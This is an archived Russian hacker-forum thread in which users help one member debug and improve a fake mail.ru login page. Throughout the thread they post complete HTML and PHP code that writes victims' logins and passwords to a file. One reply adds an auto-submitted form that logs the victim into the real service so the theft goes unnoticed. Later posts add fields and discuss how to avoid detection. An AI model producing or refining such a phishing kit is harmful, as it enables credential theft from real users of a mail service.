Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Где ошибка в скрипте?

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> Где ошибка в скрипте?
Имя
Сообщение << Старые топики   Новые топики >>
Где ошибка в скрипте? - 2008-12-22 16:16:15.093333   
xakep_svetik

Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
Вот сдесь форма для ввода логина и пароля:

quote:

&lt;html&gt;
&lt;head&gt;
&lt;title&gt;&lt;/title&gt;
&lt;/head&gt;
&lt;bоdу&gt;
&lt;div align="center"&gt;
&lt;form method="post" action="enter.php"&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td&gt;&lt;span&gt;Логин:&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="login" /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;span&gt;Пароль:&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;input type="password" name="pass" /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;input type="submit" value="Войти" /&gt;
&lt;/form&gt;
&lt;/div&gt;
&lt;/bоdу&gt;
&lt;/html&gt;


А вот скрипт, который записывает все введёные данные юзером в файл mails.txt и переводит на страницу mail.ru
Записать то он записывает, но не переводит, выводит надпись после нажатия "Войти".
Вот такую надпись: document.location='http://mail.ru'

А вот и скрипт:

quote:

&lt;?php
$log = $_POST['login'];
$pass = $_POST['pass'];
if (empty($log) or empty($pass)) { echo("Please fill login or password"); }
else {
$file = "mails.txt";
$f = fopen($file, "a");
fwrite($f, "$log;$pass \r\n");
fclose($f);
echo("&lt;sсriрt language=javasсriрt&gt;document.location='http://mail.ru'&lt;/sсriрt&gt;");
}
?&gt;


Где в скрипте ошибка? Почему он не переводит на mail.ru?
Post #: 1
RE: Где ошибка в скрипте? - 2008-12-22 16:17:58.483333   
Cep}|{

Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
А если header('Location: http://[link=http://www.mail.ru'][b]www.mail.ru'); ?
Post #: 2
RE: Где ошибка в скрипте? - 2008-12-22 16:20:40.626666   
xakep_svetik

Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
Cep}|{, А напиши плиз полностью скрипт.
Post #: 3
RE: Где ошибка в скрипте? - 2008-12-22 16:22:52.516666   
Cep}|{

Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
&lt;?php $log = $_POST['login']; $pass = $_POST['pass']; if (empty($log) or empty($pass)) { echo("Please fill login or password"); } else { $file = "mails.txt"; $f = fopen($file, "a"); fwrite($f, "$log;$pass \r\n"); fclose($f); header('Location: http://www.mail.ru'); } ?&gt;только надо чтобы до хедера ничего в браузер не отправлялось
Post #: 4
RE: Где ошибка в скрипте? - 2008-12-22 16:27:00.970000   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
У меня всё переводится и в Опере и в IE. А вообще послушай Cep}|{, у тебя просто javasсriрt может быть в браузере отключен, как и того, кого ты заманиваешь на свой фейк:)

ЗЫЖ У тебя обработка кнопки нажать вообще не происходит.
Post #: 5
RE: Где ошибка в скрипте? - 2008-12-22 16:28:42.080000   
xakep_svetik

Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
Спасибо, проверю
Post #: 6
RE: Где ошибка в скрипте? - 2008-12-22 16:31:22.643333   
Xakep_TIP

Сообщений: 1
Оценки: 0
Присоединился: 2008-12-22 15:04:43.873333
del
Post #: 7
RE: Где ошибка в скрипте? - 2008-12-22 16:33:22.956666   
Cep}|{

Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
quote:

ORIGINAL: Pashkela

У меня всё переводится и в Опере и в IE. А вообще послушай Cep}|{, у тебя просто javasсriрt может быть в браузере отключен, как и того, кого ты заманиваешь на свой фейк:)

ЗЫЖ У тебя обработка кнопки нажать вообще не происходит.
Да это не я заманиваю а xakep_svetik
Post #: 8
RE: Где ошибка в скрипте? - 2008-12-22 16:38:26.050000   
xakep_svetik

Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
У меня JavaScript включен!
Post #: 9
RE: Где ошибка в скрипте? - 2008-12-22 16:46:43.876666   
xakep_svetik

Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
Cep}|{, Спасибо! Теперь работает!
Тебе ++!;)
Post #: 10
RE: Где ошибка в скрипте? - 2008-12-22 16:47:30.456666   
QunneD

Сообщений: 833
Оценки: 0
Присоединился: 2008-11-09 20:54:38.113333
&lt;?php
$log = $_POST['login'];
$pass = $_POST['pass'];
if (empty($log) or empty($pass)) { echo("Please fill login or password"); }
else {
$file = "mails.txt";
$f = fopen($file, "a");
fwrite($f, "$log;$pass \r\n");
fclose($f);
echo("&lt;sсriрt language\"javasсriрt\"&gt;document.location=\"http://www.mail.ru\";&lt;/sсriрt&gt;");
}
?&gt;

Но через header удобнее, и легче.
Post #: 11
RE: Где ошибка в скрипте? - 2008-12-22 18:01:49.860000   
xakep_svetik

Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
Спасибо всем! Помогли!
Post #: 12
RE: Где ошибка в скрипте? - 2008-12-22 18:54:36.050000   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
Кто ж так фейки пишет? Ввел логин и пароль и еще раз вводить?:)))

Два файла:

1. login.php

&lt;html&gt; &lt;head&gt; &lt;title&gt;&lt;/title&gt; &lt;/head&gt; &lt;bоdу&gt; &lt;div align="center"&gt; &lt;form method="post" action='mail.ru.php'&gt; &lt;table&gt; &lt;tr&gt;&lt;td&gt;&lt;span&gt;Login:&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="login" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;&lt;span&gt;Password:&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;input type="password" name="pass" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/table&gt; &lt;input type="submit" name="submit" value="ok" /&gt; &lt;/form&gt; &lt;/div&gt; &lt;/bоdу&gt; &lt;/html&gt;
2. mail.ru.php:

&lt;?php $log=$_POST['login']; $pass=$_POST['pass']; if (empty($log) or empty($pass)) {echo 'Please fill login or password'; echo '&lt;meta http-equiv="Refresh" content="2;URL=login.php"&gt;';exit;} $file = "mails.txt"; $f = fopen($file, "a"); fwrite($f, "$log;$pass \r\n"); fclose($f); ?&gt; &lt;html&gt; &lt;head&gt; &lt;/head&gt; &lt;bоdу&gt; &lt;form name='mail' method='post'action='http://win.mail.ru/cgi-bin/auth' &gt; &lt;input type="hidden" name='Login' value=&lt;?php echo $log;?&gt;&gt; &lt;input type="hidden" name="Password" value=&lt;?php echo $pass;?&gt;&gt; &lt;input type='hidden' name='Domain' value='mail.ru'&gt; &lt;/form&gt; &lt;sсriрt language='javasсriрt'&gt; document.mail.submit(); &lt;/sсriрt&gt; &lt;/bоdу&gt; &lt;/html&gt;
слово sсriрt везде только руками набирайте, фильтр форума
Post #: 13
RE: Где ошибка в скрипте? - 2008-12-22 20:44:42.516666   
xakep_svetik

Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
Спасибо!
Но я немного по другому сделал)
Изменил так сказать
Просто создал страницу очень похожую на mail.ru и написал типо повторите ввод.
И на орегинал.)
Post #: 14
RE: Где ошибка в скрипте? - 2008-12-22 20:53:17.206666   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
Ну сразу же поймет, что наи….ло, раз в почту не войдет, смысл такого фейка? Сменит пароль сразу и всего делов-то, ты же тоже не постоянно у компа. Простое перенправление на ресурс тут не катит, надо именно залогивание - как будто всё обычно
Post #: 15
RE: Где ошибка в скрипте? - 2008-12-23 15:36:52.543333   
xakep_svetik

Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
А как сделать, чтобы было 3 поля для ввода ника, пароля и мыла?
Post #: 16
RE: Где ошибка в скрипте? - 2008-12-23 16:27:16.573333   
Cep}|{

Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
перед
&nbsp;&nbsp;&nbsp; &lt;tr&gt;&lt;td&gt;&lt;span&gt;Login:&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="login" /&gt;&lt;/td&gt;&lt;/tr&gt;
добавить
&nbsp;&nbsp;&nbsp; &lt;tr&gt;&lt;td&gt;&lt;span&gt;Nick:&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="nick" /&gt;&lt;/td&gt;&lt;/tr&gt;
после
&nbsp;&nbsp;&nbsp; $pass=$_POST['pass'];
добавить
&nbsp;&nbsp;&nbsp; $nick=$_POST['nick'];
и это
&nbsp;&nbsp;&nbsp; fwrite($f, "$log;$pass \r\n");
заменить на
    fwrite($f, "$nick;$log;$pass \r\n");
это без проверки на заполнение поля "Ник"
Post #: 17
Страниц:  [1]
Все форумы >> [Веб-программинг] >> Где ошибка в скрипте?







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.